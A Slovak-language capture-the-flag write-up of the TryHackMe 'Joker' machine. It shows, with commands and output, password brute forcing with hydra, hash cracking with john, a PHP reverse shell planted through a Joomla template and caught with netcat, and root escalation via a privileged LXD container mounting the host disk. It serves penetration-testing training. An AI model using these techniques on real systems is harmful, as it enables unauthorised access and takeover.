TryHackMe - Joker CTF
Eskalácia privilégií pomocou Linuxových kontajnerov? (LXD)
Úvod
Veľmi zaujímavá výzva, bolo to prvýkrát, čo som prakticky využil Linuxové kontajnery.
Zdá sa, že máme aj základné informácie o krokoch, ktoré by sme mali nasledovať:
- Vymenujte služby
- Nmap
- Bruteforce
- Vykonávanie Bruteforce na súboroch pomocou http
- Vykonávanie Bruteforce na základnej autentizácii
- Crackovanie hashu
- Vykonávanie Bruteforce na hash na cracknutie súboru zip
- Vykonávanie Bruteforce na hash na cracknutie mysql používateľa
- Zneužitie
- Získanie spätného spojenia (Reverse shell)
- Vytvorenie TTY Shell
- Eskalácia privilégií
- Získajte root s využitím nedostatkov v LXD
Toto je metodológia používaná vo väčšine strojov, takže je dobré mať nejaké základné pokyny.
Nmap
Začnime nmap skenom:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.204.243
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ad:20:1f:f4:33:1b:00:70:b3:85:cb:87:00:c4:f4:f7 (RSA)
| 256 1b:f9:a8:ec:fd:35:ec:fb:04:d5:ee:2a:a1:7a:4f:78 (ECDSA)
|_ 256 dc:d7:dd:6e:f6:71:1f:8c:2c:2c:a1:34:6d:29:99:20 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA: Joker
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp open http Apache httpd 2.4.29
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Please enter the password.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 401 Unauthorized
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Otvorené porty:
22/tcp
80/tcp
8080/tcp
Otázka: Aká je verzia Apache?
Odpoveď:
1
2.4.29
Pri pokuse o prístup k portu záložnej webovej stránky 8080/tcp
sme požiadaní o prihlasovacie údaje.
Otázka: Ktorý port na tomto stroji nemusí byť overený menom a heslom?
Odpoveď:
1
80
Prieskum
Otázka: Na tomto porte je súbor, ktorý sa zdá byť tajný, čo to je?
1
2
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u "http://10.10.204.243/FUZZ" -fl 124 -e .txt
secret.txt [Status: 200, Size: 320, Words: 62, Lines: 7, Duration: 45ms]
Odpoveď:
1
secret.txt
Poďme navštíviť 10.10.204.243/secret.txt
Zdá sa, že máme 2 možných používateľov: joker
a batman
Otázka: Existuje ďalší súbor, ktorý odhaľuje informácie o backende, aký to je?
1
2
3
4
5
6
7
8
9
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://10.10.204.243/FUZZ" -fl 124
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.hta [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 47ms]
css [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 46ms]
img [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 45ms]
index.html [Status: 200, Size: 5954, Words: 783, Lines: 97, Duration: 46ms]
phpinfo.php [Status: 200, Size: 94822, Words: 4697, Lines: 1160, Duration: 144ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 45ms]
Odpoveď:
1
phpinfo.php
Otázka: Pri čítaní tajného súboru zistíme, že konverzácia obsahuje aspoň dvoch používateľov a niektoré kľúčové slová, ktoré môžu byť zaujímavé. Ktorý používateľ to podľa vás je?
Odpoveď:
1
joker
Otázka: Ktorý port na tomto počítači musí byť overený základným overovacím mechanizmom?
Odpoveď:
1
8080
Otázka: V tomto bode máme jedného používateľa a adresu URL, ktorú je potrebné overiť, brute forcom získať heslo. Aké je to heslo?
1
hydra -l joker -P /usr/share/wordlists/rockyou.txt -t 20 10.10.204.243 -s 8080 http-get
Odpoveď:
1
<CENSORED>
Použijeme na to gobuster
, pretože je jednoduchšie ho používať s prihlasovacími údajmi
1
2
gobuster dir -u http://10.10.204.243:8080 -w /usr/share/wordlists/dirb/common.txt -U joker -P <CENSORED>
/administrator
Odpoved:
1
/administrator/
Rshell
Otázka: Potrebujeme prístup k administrácii stránky, aby sme získali shell, existuje záložný súbor, čo je to za súbor?
No, sme nútení použiť nikto
, keďže som nemohol nájsť nič cez gobuster
ani ffuf
1
2
$ nikto -h http://10.10.204.243:8080/ -id joker:<CENSORED>
+ /backup.zip: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
Odpoveď:
1
backup.zip
Otázka: Máme záložný súbor a teraz by sme mali hľadať nejaké informácie, napríklad databázu, konfiguračné súbory atď… Ale zdá sa, že záložný súbor je zašifrovaný. Aké je heslo?
Musíme prelomiť heslo na zip súbor pomocou john
1
2
3
4
5
6
7
8
9
10
11
12
13
$ zip2john backup.zip > joker.hash
└─$ john joker.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
<CENSORED> (backup.zip)
1g 0:00:00:00 DONE 2/3 (2025-02-26 21:31) 25.00g/s 2258Kp/s 2258Kc/s 2258KC/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Odpoveď:
1
<CENSORED>
Otázka: Pamätajte, že… Potrebujeme prístup do administrácie stránky… Bla bla bla. V našom novom objave vidíme niektoré súbory, ktoré obsahujú zaujimavé informácie, možno db? ok, čo keby sme obnovili databázu! Niektoré tabuľky musia mať niečo ako user_table! Čo je super duper používateľ?
Po skontrolovaní súboru joombadb.sql môžeme vidieť super duper user
Odpoveď:
1
admin
Otázka: Super duper užívateľ! Aké je heslo?
1
2
3
4
5
6
echo '$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG' > pass.txt
john pass.txt
<CENSORED> (?)
1g 0:00:00:06 DONE 2/3 (2025-02-26 21:35) 0.1481g/s 109.3p/s 109.3c/s 109.3C/s yellow..allison
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Odpoveď:
1
<CENSORED>
Počiatočný prístup
Ok, po troche skúmania som našiel spôsob, ako dať reverzný shell. V časti Extension > Templates > Templates
Môžeme sa pozrieť na Beez3 a vidíme, že sme schopní upravovať súbory php Vložme tam reverzný shell, po spustení nášho lokálneho poslucháča môžeme kliknúť na Template Preview
1
2
3
4
5
6
7
8
9
10
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.11.75.122] from (UNKNOWN) [10.10.204.243] 32938
Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
12:45:34 up 1:09, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Otázka: V tomto bode by ste mali nahrať reverzný shell, aby ste získali prístup k shellu. Aký je vlastník tejto relácie?
Odpoveď:
1
www-data
Otázka: Tento používateľ patrí do skupiny, ktorá sa líši vo vašej vlastnej skupine. Čo je táto skupina?
1
2
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
Odpoveď:
1
lxd
Spawneme si tty shell
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
Eskalácia Privilégií
Keďže sme členom skupiny lxd
, chce to, aby sme používali linuxové kontajnery na eskaláciu privilégií.
Po nejakom tom skúmani, v podstate potrebujeme:
- Nainštalovať stroj lxc alpine na náš stroj útočníka
- Nastaviť ho podľa návodu na privilege escalation
- Hostnúť u seba http server
- Stiahnuť si image na cieľovú mašinu
- Spustiť image a dostaneme root
1
2
3
4
5
6
7
lxc image import ./alpine-v3.11-x86_64-20200227_1750.tar.gz --alias myimage
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Otázka: Aký je názov súboru v adresári /root?
Odpoveď:
1
<CENSORED>.txt